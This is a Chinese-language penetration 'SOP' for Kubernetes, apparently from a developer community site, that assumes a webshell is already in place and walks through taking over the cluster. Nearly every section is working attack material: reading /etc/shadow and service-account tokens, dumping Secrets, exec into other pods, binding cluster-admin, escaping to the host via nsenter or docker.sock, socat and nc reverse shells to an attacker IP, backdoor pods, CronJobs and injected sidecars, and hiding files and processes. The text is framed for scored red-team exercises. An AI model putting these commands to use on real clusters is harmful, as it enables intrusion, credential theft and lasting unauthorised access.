攻防渗透SOP(k8s专用)

适用场景:已打入目标内网,成功落地 Webshell,目标为 K8s 环境

**目标:**快速识别、控制与横向突破 Kubernetes 系统,同时确保动作留痕、得分最大化、风险可控。

一、识别是否为K8s环境

(1)查看 hostname 与 进程信息

hostname

ps aux | grep kube

(2)查询cgroup信息cat /proc/1/cgroup

img

(3)检查/.dockerenv文件ls -alh /.dockerenv 如果可以找到该文件,说明是K8s或docker环境

img

(4)检查 mount 信息mount | grep '/ type' 利用mount查看挂载磁盘是否存在K8s或docker相关信息

img

(5)查看硬盘信息fdisk -l 容器输出为空,非容器有内容输出

img

(6)查看文件系统以及挂载点df -h

df -h | egrep '(overlay|aufs)'

img

(7)查看环境变量env

img

二、凭据搜集与本地探索

(1)查看操作系统信息

uname -a
cat /etc/os-release
cat /etc/passwd
cat /etc/shadow

(2)确定webshell权限

whoami
id
sudo -l
#或尝试查看一些敏感文件,看是否有权查看

(3)搜集 k8s 相关信息

envprintenv 
#查看有关kubernets环境变量,如:KUBERNETES_SERVICE_HOST   KUBERNETES_SERVICE_PORT 

cat ~/.kube/config
#查看kubernetes配置文件,该文件也有可能包含Kube API信息,可用来直接访问集群

ps aux | grep kube
#查看进程中是否有k8s对应的服务进程

cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
#/var/run/secrets/kubernetes.io/serviceaccount/目录下大概率存在默认的 Service Account Token、CA证书和命名空间信息等


cat /proc/self/cgroup
# 访问该文件,尝试通过cgroup信息获取容器的 pod 名称和对应节点信息

ip addr/ifconfig
#查看网络信息

find / -type f -name "*secret*" 2>/dev/null
find / -type f -name "*config*" 2>/dev/null
#查找挂载的 Secret 和 ConfigMap
#搜索 /etc/、/opt/、/app/ 等目录,查找可能挂载的 Secret 文件或配置文件,常见文件名包含 secret、config、key、token 等关键词。

grep -r "password" /app /etc 2>/dev/null
grep -r "token" /app /etc 2>/dev/null
#应用程序可能会将数据库密码、API Key 等写入配置文件,常见路径如 /app/config/、/etc/ 等

三、API 权限探测与集群枚举

K8s环境下,ServiceAccount 默认会附带某些API访问权限.可以尝试从 /var/run/secrets/kubernetes.io/serviceaccount/token 文件中读取当前容器的ServiceAccount Token。

API Server 地址一般是 https://kubernetes.default.svc,也可以通过环境变量 KUBERNETES_SERVICE_HOSTKUBERNETES_SERVICE_PORT 获取。

(1)尝试使用 Service Account Token 访问 kubernetes API:

#使用Service Account Token尝试访问Kubernetes API
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods

#利用该Token进行API调用,查看是否有权限列举集群资源
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/apis/apps/v1/namespaces/default/deployments

#列出当前命名空间的 Pod
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
     -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     https://kubernetes.default.svc/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/pods
     
#如果权限允许,尝试列出所有命名空间
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
     -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     https://kubernetes.default.svc/api/v1/namespaces

(2)查看 kubernetes API 版本信息

curl -k https://<K8S_API_SERVER>/version

(3)枚举集群资源

kubectl get ns,pods,svc,secrets --all-namespaces

(4)检查高权限资源(如ClusterRole、ClusterRoleBinding)

kubectl get clusterrole,clusterrolebinding

(5)获取集群中的Pod、服务、Secret、ConfigMap、部署等信息

curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/pods
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/services
curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/secrets
#注意替换token

(6)探测K8s RBAC权限:

检查当前权限是否足以访问K8s资源,例如Pods、ConfigMaps、Secrets等。如果有权限访问RBAC(Role-Based Access Control)资源,可以枚举当前角色、角色绑定、集群角色等信息。

  • 使用以下命令检查API的访问权限

    curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/apis/rbac.authorization.k8s.io/v1/roles
    

    也可以通过调用 /apis/authorization.k8s.io/v1/selfsubjectaccessreviews 接口,判断当前 Token 是否有某些权限。

  • 如果API权限足够,可以访问 api/v1/namespaces,列举集群中的所有命名空间,进一步识别是否有其他敏感命名空间。

(7)枚举敏感资源

  • 尝试读取 Secrets:

    curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
         -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
         https://kubernetes.default.svc/api/v1/namespaces/<namespace>/secrets
    

    当然,也可以枚举Nodes查看集群节点信息。

四、横向控制与权限提升

横向移动:

  • 通过查看当前Pod配置,找出与其他容器的关联性。如果容器之间共享网络、存储等资源,可能存在横向渗透的机会。
  • 访问或执行其他Pod中的命令,查看是否有权限执行远程命令。
  • 如果Pod中有Volume挂载,可以尝试读取/修改共享文件

(1)通过kubectl或API访问其他Pod

如果你能够访问到某个Pod,首先可以查看该Pod是否挂载了共享的Volume(如emptyDir, hostPath等),通过这种方式,攻击者可以访问其他容器的数据。

  • 列出当前Pod

    kubectl get pod <pod_name> -o yaml
    

    查找 volumes 字段,查看是否有挂载 hostPathemptyDir 等类型的Volume。如果有,则可以直接访问它们,寻找可能的敏感信息。

  • 列出所有Pod

    如果你有部分权限访问K8s API,可以通过以下命令列出集群内的所有Pod,寻找有可能高权限的Pod(如运行系统组件的Pod)。

    kubectl get pods --all-namespaces
    
    #或者列出所有的命名空间
    kubectl get namespaces
    

    这里你可以筛选出有可能具有较高权限的Pod,如 kube-system 命名空间下的Pod。

  • 进入目标Pod

    如果你发现其他Pod中有有趣的Volume挂载或服务暴露,可以尝试通过 kubectl exec 进入该Pod。

    kubectl exec -it <目标Pod名称> -n <命名空间> -- /bin/sh
    
    
    #或者切换命名空间查看资源
    kubectl get pods -n <目标命名空间>
    kubectl get secrets -n <目标命名空间>
    

    执行该命令后,你将能够以容器内的权限执行命令,进一步探查是否存在权限提升的机会。如果目标Pod没有/bin/sh,可以尝试/bin/bash或其他Shell。

  • 通过API直接执行命令

    curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
    -X POST \
    -d '{"command": ["/bin/sh", "-c", "whoami"]}' \
    https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/<命名空间>/pods/<目标Pod名称>/exec
    
  • 读取其他命名空间的 Secret

    kubectl get secret <secret名称> -n <目标命名空间> -o yaml
    

(2)利用挂载的卷

  • 检查挂载的卷

    mount | grep -i volume
    
  • 访问共享存储

    如果发现共享存储(如NFS、HostPath),可以直接访问其他Pod的数据:

    cd /path/to/mounted/volume
    ls -la
    

(3)创建带有反弹 shell 的 Pod

  • 假设你已经有权限创建 Pod,可以用下面的 YAML 文件创建一个带有反弹 shell 的 Pod:

    apiVersion: v1
    kind: Pod
    metadata:
      name: attacker-pod
    spec:
      containers:
      - name: attacker
        image: alpine
        command: ["/bin/sh", "-c", "apk add --no-cache bash socat; socat TCP:你的IP:你的端口 EXEC:/bin/bash"]
      restartPolicy: Never
    
    • 你的IP你的端口 替换成你监听的地址和端口。

    • 创建 Pod:

      kubectl apply -f attacker-pod.yaml
      
    • 监听端口:

      nc -lvnp 你的端口
      
  • 如果环境中有 kubectl,可以直接执行:

    kubectl run attacker-pod --image=alpine --restart=Never -- /bin/sh -c "apk add --no-cache bash socat; socat TCP:你的IP:你的端口 EXEC:/bin/bash"
    

    实现反弹shell

权限提升:

(1)利用 RBAC 配置错误提升权限

  • 查看当前用户权限

    如果你已经有部分访问权限,下一步可以探测当前用户的RBAC权限。首先查看集群内角色的定义。你可以列出所有角色和集群角色来查看是否有权限提升的可能

    #查看当前用户权限
    kubectl auth can-i --list
    
    
    #查询当前RBAC角色和权限
    kubectl get roles --all-namespaces
    kubectl get clusterroles
    
    
    #查看当前Service Account 
    kubectl get serviceaccount  
    

    然后可以查看这些角色绑定的权限,尤其是有没有对敏感资源(如Pod、Node、Secrets等)的访问权限

  • 获取当前用户的角色绑定

    通过 kubectl get rolebindingskubectl get clusterrolebindings 命令查看当前角色绑定。通过这些命令你可以找到当前用户所具备的权限,进而了解可能的提升方式:

    kubectl get rolebindings --all-namespaces
    kubectl get clusterrolebindings
    
  • 创建 ClusterRoleBinding 绑定集群管理员权限(前提是有权限创建)

    Kubernetes中,默认的ServiceAccount权限配置有时过于宽松。你可以查看当前Pod所使用的ServiceAccount,看看是否可以利用它提升权限。

    kubectl get pod <pod_name> -o=jsonpath='{.spec.serviceAccountName}'
    

    然后来创建clusterrolebinding

    kubectl create clusterrolebinding attacker-binding --clusterrole=cluster-admin --user=<你的用户名>
    

    或者如果Pod使用了一个权限较大的ServiceAccount(如default),你可以尝试将它添加到集群角色绑定中,来绑定 ServiceAccount:

    kubectl create clusterrolebinding attacker-binding --clusterrole=cluster-admin --serviceaccount=<namespace>:<serviceaccount-name>
    
  • 利用已有权限创建 ClusterRoleBinding

    如果你有权限创建 ClusterRoleBinding,可以将当前 ServiceAccount 绑定为 cluster-admin:

    kubectl create clusterrolebinding attacker-binding --clusterrole=cluster-admin --serviceaccount=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace):default
    

(2)创建高权限Service Account

  • 创建新的Service Account

    kubectl create serviceaccount attacker
    
  • 绑定高权限角色(如cluster-admin):

    kubectl create clusterrolebinding attacker-admin --clusterrole=cluster-admin --serviceaccount=default:attacker
    
  • 获取新Service Account的Token

    kubectl get secret $(kubectl get serviceaccount attacker -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode
    

    使用该Token可以以高权限访问Kubernetes API。

(3)利用Pod逃逸到主机

  • 检查Pod是否以特权模式运行:

    kubectl get pod <Pod名称> -o yaml | grep -i privileged
    

    如果返回privileged: true,可以尝试逃逸到主机:

    chroot /host /bin/sh
    

    (假设主机根目录挂载到Pod的/host路径)

  • 利用hostPID逃逸

    如果Pod配置了hostPID: true,可以直接查看主机进程:

    ps aux
    

    并通过nsenter逃逸到主机命名空间:

    nsenter --target 1 --mount --uts --ipc --net --pid
    

(4)利用节点访问权限

  • 查看节点信息

    kubectl get nodes -o wide
    
  • 查看节点上的 kubelet 配置(如果有权限)

    curl -k https://<node-ip>:10250/pods
    
  • 利用 Docker Socket 获取节点权限

    如果容器中挂载了 Docker Socket /var/run/docker.sock,可以执行:

    docker ps
    docker run -v /:/host --rm -it alpine chroot /host sh
    

    这样可以进入宿主机的根文件系统,获得节点权限。

(5)利用特权容器

  • 创建特权 Pod:

    apiVersion: v1
    kind: Pod
    metadata:
      name: privileged-pod
    spec:
      containers:
      - name: privileged-container
        image: alpine
        command: ["/bin/sh", "-c", "sleep 1d"]
        securityContext:
          privileged: true
      restartPolicy: Never
    
  • 创建:

    kubectl apply -f privileged-pod.yaml
    
  • 进入容器:

    kubectl exec -it privileged-pod -- sh
    

(6)横向渗透Node权限

  • 通过访问Node信息提升权限

    如果K8s集群的Node权限过于开放,攻击者可能可以通过K8s的Node相关API获取Node的详细信息。你可以尝试通过API接口获取Node的详细信息:

    curl -k -H "Authorization: Bearer <token>" https://<K8S_API_SERVER>/api/v1/nodes
    

    如果访问成功并且API权限足够,你可以获取集群中所有Node的详细信息,包括Node的配置、标签、容器运行时等信息。这时可以寻找是否有权限提升的机会(例如执行某些敏感操作)。

  • 获取Node节点的Kubelet端口

    某些K8s集群的kubelet端口可能未受保护,你可以尝试访问这些端口,获取更高权限的信息。通常,kubelet的默认端口为 10250,你可以尝试通过kubectl proxy或其他方式绕过防火墙:

    kubectl proxy --port=8080
    curl http://localhost:8080/api/v1/nodes/<node_name>/proxy/metrics
    

五、后门与得分留痕(需谨慎)

部署后门:

(1)创建正向 shell 的持久化 Pod

apiVersion: v1
kind: Pod
metadata:
  name: backdoor-pod
  labels:
    app: backdoor
spec:
  containers:
  - name: backdoor-container
    image: alpine
    command: ["/bin/sh", "-c", "apk add --no-cache socat bash; while true; do socat TCP-LISTEN:4444,fork EXEC:/bin/bash; done"]
  restartPolicy: Always

或者

kubectl run <pod-name> --image=<malicious-image> --restart=Never --namespace=<namespace> --command -- /bin/bash -c "while true; do nc -l -p 4444 -e /bin/bash; done"
  • 监听本地 4444 端口,等待连接。

  • 创建 Pod:

    kubectl apply -f backdoor-pod.yaml
    
  • 远程连接:

    nc <pod-ip> 4444
    

(2)利用 CronJob 定时执行恶意任务

  • 创建一个定时执行反弹 shell 的 CronJob:

    apiVersion: batch/v1
    kind: CronJob
    metadata:
      name: backdoor-cronjob
    spec:
      schedule: "*/5 * * * *"  # 每5分钟执行一次
      jobTemplate:
        spec:
          template:
            spec:
              containers:
              - name: backdoor
                image: alpine
                command: ["/bin/sh", "-c", "apk add --no-cache socat bash; socat TCP:<你的IP>:<你的端口> EXEC:/bin/bash"]
              restartPolicy: OnFailure
    

    或者

    apiVersion: batch/v1
    kind: CronJob
    metadata:
      name: reverse-shell
    spec:
      schedule: "* * * * *"
      jobTemplate:
        spec:
          template:
            spec:
              containers:
              - name: reverse-shell
                image: alpine
                command: ["/bin/sh", "-c", "nc <攻击者IP> <端口> -e /bin/sh"]
              restartPolicy: OnFailure
    
  • 创建 CronJob:

    kubectl apply -f backdoor-cronjob.yaml
    
  • 监听端口:

    nc -lvnp <你的端口>
    

(3)修改已有 Deployment 注入后门容器

  • 假设目标 Deployment 名为 webapp,可以 patch 容器,添加 sidecar:

    kubectl patch deployment webapp -p '{
      "spec": {
        "template": {
          "spec": {
            "containers": [
              {
                "name": "backdoor",
                "image": "alpine",
                "command": ["/bin/sh", "-c", "apk add --no-cache socat bash; socat TCP:<你的IP>:<你的端口> EXEC:/bin/bash"]
              }
            ]
          }
        }
      }
    }'
    

    或者编辑 Deployment:

    kubectl edit deployment webapp
    

    spec.template.spec.containers 中添加后门容器 或者 将spec.template.spec.containers.image修改为包含后门的镜像(如自定义的恶意镜像)。

(4)利用 ConfigMap 存储恶意脚本

  • 创建 ConfigMap:

    kubectl create configmap backdoor-script --from-literal=script='#!/bin/sh
    socat TCP:<你的IP>:<你的端口> EXEC:/bin/sh' -n <namespace>
    
  • 然后在 Pod 中挂载并执行:

    kubectl exec -it <pod-name> -n <namespace> -- sh -c "chmod +x /path/to/mounted/script && /path/to/mounted/script"
    

(5)利用 Init Container 执行恶意代码

  • 在 Deployment 中添加 Init Container:

    initContainers:
    - name: init-backdoor
      image: alpine
      command: ["/bin/sh", "-c", "apk add --no-cache socat bash; socat TCP:<你的IP>:<你的端口> EXEC:/bin/bash &"]
    

(6)创建恶意ServiceAccount和ClusterRoleBinding

如果你想获得更多的权限,甚至是集群管理员权限,可以通过创建具有高权限的ServiceAccount,并将其绑定到集群角色(ClusterRole)上。

  • 创建ServiceAccount:

    kubectl create serviceaccount <serviceaccount-name> --namespace=<namespace>
    
  • 绑定ServiceAccount到集群管理员角色:

    创建一个ClusterRoleBinding,将这个ServiceAccount提升为集群管理员权限:

    kubectl create clusterrolebinding <binding-name> --clusterrole=cluster-admin --serviceaccount=<namespace>:<serviceaccount-name>
    

(7)注意隐藏

  • 使用.前缀隐藏文件:
kubectl exec <目标Pod名称> -- mv /tmp/flag /tmp/.flag
  • 或使用nohup隐藏进程:
kubectl exec <目标Pod名称> -- nohup /path/to/malicious-script &

当然,还有一种方法就是修改K8s配置文件,但这种方式在攻防中一般不建议使用

如果已经能够访问到容器内的文件,可以修改kubeconfig文件来存储攻击者的访问凭据,以便将来通过kubectl连接到集群。

  • 创建或修改~/.kube/config
  • 在K8s集群上,你可以将自己的Token添加到~/.kube/config配置文件中,确保能够继续通过kubectl访问集群:
apiVersion: v1
clusters:
- cluster:
    server: https://<api-server-url>
  name: <cluster-name>
contexts:
- context:
    cluster: <cluster-name>
    user: <user-name>
  name: <user-name>
current-context: <user-name>
kind: Config
preferences: {}
users:
- name: <user-name>
  user:
    token: <your-token>

得分留痕:

Logo

码道开发者社区,聚焦华为云码道 CodeArts 代码智能体,沉淀 Agent、Skill、鸿蒙开发实战内容,供开发者查阅资料、交流技术、分享工程实践

更多推荐